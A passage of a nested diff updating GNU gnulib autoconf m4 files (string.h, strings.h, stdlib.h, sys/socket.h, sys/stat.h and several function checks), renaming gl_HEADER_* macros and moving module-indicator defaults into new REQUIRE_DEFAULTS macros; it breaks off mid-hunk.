+ HAVE_DECL_SETSTATE=1; AC_SUBST([HAVE_DECL_SETSTATE])
+ HAVE_STRTOD=1; AC_SUBST([HAVE_STRTOD])
++ HAVE_STRTOL=1; AC_SUBST([HAVE_STRTOL])
+ HAVE_STRTOLD=1; AC_SUBST([HAVE_STRTOLD])
+ HAVE_STRTOLL=1; AC_SUBST([HAVE_STRTOLL])
++ HAVE_STRTOUL=1; AC_SUBST([HAVE_STRTOUL])
+ HAVE_STRTOULL=1; AC_SUBST([HAVE_STRTOULL])
+ HAVE_STRUCT_RANDOM_DATA=1; AC_SUBST([HAVE_STRUCT_RANDOM_DATA])
+ HAVE_SYS_LOADAVG_H=0; AC_SUBST([HAVE_SYS_LOADAVG_H])
+@@ -160,11 +179,16 @@ AC_DEFUN([gl_STDLIB_H_DEFAULTS],
+ REPLACE_RANDOM=0; AC_SUBST([REPLACE_RANDOM])
+ REPLACE_RANDOM_R=0; AC_SUBST([REPLACE_RANDOM_R])
+ REPLACE_REALLOC=0; AC_SUBST([REPLACE_REALLOC])
++ REPLACE_REALLOCARRAY=0; AC_SUBST([REPLACE_REALLOCARRAY])
+ REPLACE_REALPATH=0; AC_SUBST([REPLACE_REALPATH])
+ REPLACE_SETENV=0; AC_SUBST([REPLACE_SETENV])
+ REPLACE_SETSTATE=0; AC_SUBST([REPLACE_SETSTATE])
+ REPLACE_STRTOD=0; AC_SUBST([REPLACE_STRTOD])
++ REPLACE_STRTOL=0; AC_SUBST([REPLACE_STRTOL])
+ REPLACE_STRTOLD=0; AC_SUBST([REPLACE_STRTOLD])
++ REPLACE_STRTOLL=0; AC_SUBST([REPLACE_STRTOLL])
++ REPLACE_STRTOUL=0; AC_SUBST([REPLACE_STRTOUL])
++ REPLACE_STRTOULL=0; AC_SUBST([REPLACE_STRTOULL])
+ REPLACE_UNSETENV=0; AC_SUBST([REPLACE_UNSETENV])
+ REPLACE_WCTOMB=0; AC_SUBST([REPLACE_WCTOMB])
+ ])
+--- a/gnulib/m4/stpcpy.m4
++++ b/gnulib/m4/stpcpy.m4
+@@ -1,4 +1,4 @@
+-# stpcpy.m4 serial 8
++# stpcpy.m4 serial 9
+ dnl Copyright (C) 2002, 2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -12,7 +12,7 @@ AC_DEFUN([gl_FUNC_STPCPY],
+ dnl The stpcpy() declaration in lib/string.in.h uses 'restrict'.
+ AC_REQUIRE([AC_C_RESTRICT])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_FUNCS([stpcpy])
+ if test $ac_cv_func_stpcpy = no; then
+ HAVE_STPCPY=0
+--- a/gnulib/m4/strcase.m4
++++ b/gnulib/m4/strcase.m4
+@@ -1,4 +1,4 @@
+-# strcase.m4 serial 11
++# strcase.m4 serial 12
+ dnl Copyright (C) 2002, 2005-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -12,7 +12,7 @@ AC_DEFUN([gl_STRCASE],
+
+ AC_DEFUN([gl_FUNC_STRCASECMP],
+ [
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
+ AC_CHECK_FUNCS([strcasecmp])
+ if test $ac_cv_func_strcasecmp = no; then
+ HAVE_STRCASECMP=0
+@@ -21,7 +21,7 @@ AC_DEFUN([gl_FUNC_STRCASECMP],
+
+ AC_DEFUN([gl_FUNC_STRNCASECMP],
+ [
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
+ AC_CHECK_FUNCS([strncasecmp])
+ if test $ac_cv_func_strncasecmp = yes; then
+ HAVE_STRNCASECMP=1
+--- a/gnulib/m4/strcasestr.m4
++++ b/gnulib/m4/strcasestr.m4
+@@ -1,4 +1,4 @@
+-# strcasestr.m4 serial 26
++# strcasestr.m4 serial 27
+ dnl Copyright (C) 2005, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl Check that strcasestr is present and works.
+ AC_DEFUN([gl_FUNC_STRCASESTR_SIMPLE],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+
+ dnl Persuade glibc <string.h> to declare strcasestr().
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+--- a/gnulib/m4/strdup.m4
++++ b/gnulib/m4/strdup.m4
+@@ -1,4 +1,4 @@
+-# strdup.m4 serial 14
++# strdup.m4 serial 15
+
+ dnl Copyright (C) 2002-2021 Free Software Foundation, Inc.
+
+@@ -8,7 +8,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_STRDUP],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_DECLS_ONCE([strdup])
+ if test $ac_cv_have_decl_strdup = no; then
+ HAVE_DECL_STRDUP=0
+@@ -17,7 +17,7 @@ AC_DEFUN([gl_FUNC_STRDUP],
+
+ AC_DEFUN([gl_FUNC_STRDUP_POSIX],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_REQUIRE([gl_CHECK_MALLOC_POSIX])
+ if test $gl_cv_func_malloc_posix != yes; then
+ REPLACE_STRDUP=1
+--- a/gnulib/m4/strerror.m4
++++ b/gnulib/m4/strerror.m4
+@@ -1,4 +1,4 @@
+-# strerror.m4 serial 21
++# strerror.m4 serial 22
+ dnl Copyright (C) 2002, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_STRERROR],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_REQUIRE([gl_HEADER_ERRNO_H])
+ AC_REQUIRE([gl_FUNC_STRERROR_0])
+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
+--- a/gnulib/m4/string_h.m4
++++ b/gnulib/m4/string_h.m4
+@@ -5,20 +5,15 @@
+ # gives unlimited permission to copy and/or distribute it,
+ # with or without modifications, as long as this notice is preserved.
+
+-# serial 29
++# serial 32
+
+ # Written by Paul Eggert.
+
+-AC_DEFUN([gl_HEADER_STRING_H],
++AC_DEFUN_ONCE([gl_STRING_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
+- AC_REQUIRE([gl_HEADER_STRING_H_BODY])
+-])
+-
+-AC_DEFUN([gl_HEADER_STRING_H_BODY],
+-[
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ gl_NEXT_HEADERS([string.h])
+
+ dnl Check for declarations of anything we want to poison if the
+@@ -33,62 +28,77 @@ AC_DEFUN([gl_HEADER_STRING_H_BODY],
+ AC_REQUIRE([AC_C_RESTRICT])
+ ])
+
++# gl_STRING_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STRING_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STRING_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
+-AC_DEFUN([gl_HEADER_STRING_H_DEFAULTS],
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STRING_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STRING_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXPLICIT_BZERO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFSL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFSLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMMEM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMRCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RAWMEMCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STPNCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRCHRNUL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRDUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNCAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNDUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRPBRK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRCASESTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOK_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSRCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSPCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCASESTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSPBRK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSTOK_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERROR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERROR_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERRORNAME_NP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SIGABBREV_NP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SIGDESCR_NP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSIGNAL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRVERSCMP])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MEMCCPY], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_STRDUP], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STRING_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
++])
++
++AC_DEFUN([gl_STRING_H_DEFAULTS],
+ [
+- GNULIB_EXPLICIT_BZERO=0; AC_SUBST([GNULIB_EXPLICIT_BZERO])
+- GNULIB_FFSL=0; AC_SUBST([GNULIB_FFSL])
+- GNULIB_FFSLL=0; AC_SUBST([GNULIB_FFSLL])
+- GNULIB_MEMCHR=0; AC_SUBST([GNULIB_MEMCHR])
+- GNULIB_MEMMEM=0; AC_SUBST([GNULIB_MEMMEM])
+- GNULIB_MEMPCPY=0; AC_SUBST([GNULIB_MEMPCPY])
+- GNULIB_MEMRCHR=0; AC_SUBST([GNULIB_MEMRCHR])
+- GNULIB_RAWMEMCHR=0; AC_SUBST([GNULIB_RAWMEMCHR])
+- GNULIB_STPCPY=0; AC_SUBST([GNULIB_STPCPY])
+- GNULIB_STPNCPY=0; AC_SUBST([GNULIB_STPNCPY])
+- GNULIB_STRCHRNUL=0; AC_SUBST([GNULIB_STRCHRNUL])
+- GNULIB_STRDUP=0; AC_SUBST([GNULIB_STRDUP])
+- GNULIB_STRNCAT=0; AC_SUBST([GNULIB_STRNCAT])
+- GNULIB_STRNDUP=0; AC_SUBST([GNULIB_STRNDUP])
+- GNULIB_STRNLEN=0; AC_SUBST([GNULIB_STRNLEN])
+- GNULIB_STRPBRK=0; AC_SUBST([GNULIB_STRPBRK])
+- GNULIB_STRSEP=0; AC_SUBST([GNULIB_STRSEP])
+- GNULIB_STRSTR=0; AC_SUBST([GNULIB_STRSTR])
+- GNULIB_STRCASESTR=0; AC_SUBST([GNULIB_STRCASESTR])
+- GNULIB_STRTOK_R=0; AC_SUBST([GNULIB_STRTOK_R])
+- GNULIB_MBSLEN=0; AC_SUBST([GNULIB_MBSLEN])
+- GNULIB_MBSNLEN=0; AC_SUBST([GNULIB_MBSNLEN])
+- GNULIB_MBSCHR=0; AC_SUBST([GNULIB_MBSCHR])
+- GNULIB_MBSRCHR=0; AC_SUBST([GNULIB_MBSRCHR])
+- GNULIB_MBSSTR=0; AC_SUBST([GNULIB_MBSSTR])
+- GNULIB_MBSCASECMP=0; AC_SUBST([GNULIB_MBSCASECMP])
+- GNULIB_MBSNCASECMP=0; AC_SUBST([GNULIB_MBSNCASECMP])
+- GNULIB_MBSPCASECMP=0; AC_SUBST([GNULIB_MBSPCASECMP])
+- GNULIB_MBSCASESTR=0; AC_SUBST([GNULIB_MBSCASESTR])
+- GNULIB_MBSCSPN=0; AC_SUBST([GNULIB_MBSCSPN])
+- GNULIB_MBSPBRK=0; AC_SUBST([GNULIB_MBSPBRK])
+- GNULIB_MBSSPN=0; AC_SUBST([GNULIB_MBSSPN])
+- GNULIB_MBSSEP=0; AC_SUBST([GNULIB_MBSSEP])
+- GNULIB_MBSTOK_R=0; AC_SUBST([GNULIB_MBSTOK_R])
+- GNULIB_STRERROR=0; AC_SUBST([GNULIB_STRERROR])
+- GNULIB_STRERROR_R=0; AC_SUBST([GNULIB_STRERROR_R])
+- GNULIB_STRERRORNAME_NP=0; AC_SUBST([GNULIB_STRERRORNAME_NP])
+- GNULIB_SIGABBREV_NP=0; AC_SUBST([GNULIB_SIGABBREV_NP])
+- GNULIB_SIGDESCR_NP=0; AC_SUBST([GNULIB_SIGDESCR_NP])
+- GNULIB_STRSIGNAL=0; AC_SUBST([GNULIB_STRSIGNAL])
+- GNULIB_STRVERSCMP=0; AC_SUBST([GNULIB_STRVERSCMP])
+ HAVE_MBSLEN=0; AC_SUBST([HAVE_MBSLEN])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_MEMCCPY=1; AC_SUBST([GNULIB_MDA_MEMCCPY])
+- GNULIB_MDA_STRDUP=1; AC_SUBST([GNULIB_MDA_STRDUP])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_EXPLICIT_BZERO=1; AC_SUBST([HAVE_EXPLICIT_BZERO])
+ HAVE_FFSL=1; AC_SUBST([HAVE_FFSL])
+--- a/gnulib/m4/strings_h.m4
++++ b/gnulib/m4/strings_h.m4
+@@ -1,21 +1,16 @@
+ # Configure a replacement for <strings.h>.
+-# serial 6
++# serial 9
+
+ # Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+ # with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_HEADER_STRINGS_H],
++AC_DEFUN_ONCE([gl_STRINGS_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
+- AC_REQUIRE([gl_HEADER_STRINGS_H_BODY])
+-])
+-
+-AC_DEFUN([gl_HEADER_STRINGS_H_BODY],
+-[
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
+
+ gl_CHECK_NEXT_HEADERS([strings.h])
+ if test $ac_cv_header_strings_h = yes; then
+@@ -35,16 +30,31 @@ AC_DEFUN([gl_HEADER_STRINGS_H_BODY],
+ ]], [ffs strcasecmp strncasecmp])
+ ])
+
++# gl_STRINGS_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STRINGS_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STRINGS_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ ])
+
+-AC_DEFUN([gl_HEADER_STRINGS_H_DEFAULTS],
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STRINGS_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STRINGS_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFS])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STRINGS_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
++])
++
++AC_DEFUN([gl_STRINGS_H_DEFAULTS],
+ [
+- GNULIB_FFS=0; AC_SUBST([GNULIB_FFS])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_FFS=1; AC_SUBST([HAVE_FFS])
+ HAVE_STRCASECMP=1; AC_SUBST([HAVE_STRCASECMP])
+--- a/gnulib/m4/strndup.m4
++++ b/gnulib/m4/strndup.m4
+@@ -1,4 +1,4 @@
+-# strndup.m4 serial 22
++# strndup.m4 serial 23
+ dnl Copyright (C) 2002-2003, 2005-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -10,7 +10,7 @@ AC_DEFUN([gl_FUNC_STRNDUP],
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+
+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_DECLS_ONCE([strndup])
+ AC_CHECK_FUNCS_ONCE([strndup])
+ if test $ac_cv_have_decl_strndup = no; then
+--- a/gnulib/m4/strnlen.m4
++++ b/gnulib/m4/strnlen.m4
+@@ -1,4 +1,4 @@
+-# strnlen.m4 serial 13
++# strnlen.m4 serial 14
+ dnl Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation,
+ dnl Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_STRNLEN],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+
+ dnl Persuade glibc <string.h> to declare strnlen().
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+--- a/gnulib/m4/strstr.m4
++++ b/gnulib/m4/strstr.m4
+@@ -1,4 +1,4 @@
+-# strstr.m4 serial 22
++# strstr.m4 serial 23
+ dnl Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl Check that strstr works.
+ AC_DEFUN([gl_FUNC_STRSTR_SIMPLE],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_REQUIRE([gl_FUNC_MEMCHR])
+ if test $REPLACE_MEMCHR = 1; then
+ REPLACE_STRSTR=1
+--- a/gnulib/m4/sys_socket_h.m4
++++ b/gnulib/m4/sys_socket_h.m4
+@@ -1,4 +1,4 @@
+-# sys_socket_h.m4 serial 25
++# sys_socket_h.m4 serial 28
+ dnl Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ dnl From Simon Josefsson.
+
+-AC_DEFUN([gl_HEADER_SYS_SOCKET],
++AC_DEFUN_ONCE([gl_SYS_SOCKET_H],
+ [
+ AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS])
+ AC_REQUIRE([AC_CANONICAL_HOST])
+@@ -156,32 +156,47 @@ AC_DEFUN([gl_PREREQ_SYS_H_WS2TCPIP],
+ AC_SUBST([HAVE_WS2TCPIP_H])
+ ])
+
++# gl_SYS_SOCKET_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_SYS_SOCKET_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_SYS_SOCKET_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_SYS_SOCKET_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_SOCKET_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SOCKET])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CONNECT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCEPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_BIND])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPEERNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSOCKNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSOCKOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LISTEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RECV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SEND])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RECVFROM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SENDTO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETSOCKOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SHUTDOWN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCEPT4])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_SOCKET_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_SYS_SOCKET_H_DEFAULTS],
+ [
+- GNULIB_SOCKET=0; AC_SUBST([GNULIB_SOCKET])
+- GNULIB_CONNECT=0; AC_SUBST([GNULIB_CONNECT])
+- GNULIB_ACCEPT=0; AC_SUBST([GNULIB_ACCEPT])
+- GNULIB_BIND=0; AC_SUBST([GNULIB_BIND])
+- GNULIB_GETPEERNAME=0; AC_SUBST([GNULIB_GETPEERNAME])
+- GNULIB_GETSOCKNAME=0; AC_SUBST([GNULIB_GETSOCKNAME])
+- GNULIB_GETSOCKOPT=0; AC_SUBST([GNULIB_GETSOCKOPT])
+- GNULIB_LISTEN=0; AC_SUBST([GNULIB_LISTEN])
+- GNULIB_RECV=0; AC_SUBST([GNULIB_RECV])
+- GNULIB_SEND=0; AC_SUBST([GNULIB_SEND])
+- GNULIB_RECVFROM=0; AC_SUBST([GNULIB_RECVFROM])
+- GNULIB_SENDTO=0; AC_SUBST([GNULIB_SENDTO])
+- GNULIB_SETSOCKOPT=0; AC_SUBST([GNULIB_SETSOCKOPT])
+- GNULIB_SHUTDOWN=0; AC_SUBST([GNULIB_SHUTDOWN])
+- GNULIB_ACCEPT4=0; AC_SUBST([GNULIB_ACCEPT4])
+ HAVE_STRUCT_SOCKADDR_STORAGE=1; AC_SUBST([HAVE_STRUCT_SOCKADDR_STORAGE])
+ HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY=1;
+ AC_SUBST([HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY])
+--- a/gnulib/m4/sys_stat_h.m4
++++ b/gnulib/m4/sys_stat_h.m4
+@@ -1,4 +1,4 @@
+-# sys_stat_h.m4 serial 38 -*- Autoconf -*-
++# sys_stat_h.m4 serial 41 -*- Autoconf -*-
+ dnl Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl From Eric Blake.
+ dnl Provide a GNU-like <sys/stat.h>.
+
+-AC_DEFUN([gl_HEADER_SYS_STAT_H],
++AC_DEFUN_ONCE([gl_SYS_STAT_H],
+ [
+ AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS])
+
+@@ -52,38 +52,53 @@ AC_DEFUN([gl_HEADER_SYS_STAT_H],
+ AC_REQUIRE([AC_C_RESTRICT])
+ ])
+
++# gl_SYS_STAT_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_SYS_STAT_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_SYS_STAT_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_SYS_STAT_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_STAT_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_UNISTD_H_REQUIRE_DEFAULTS dnl for REPLACE_FCHDIR
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHMODAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSTAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSTATAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FUTIMENS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETUMASK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LCHMOD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LSTAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDIRAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKFIFO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKFIFOAT])
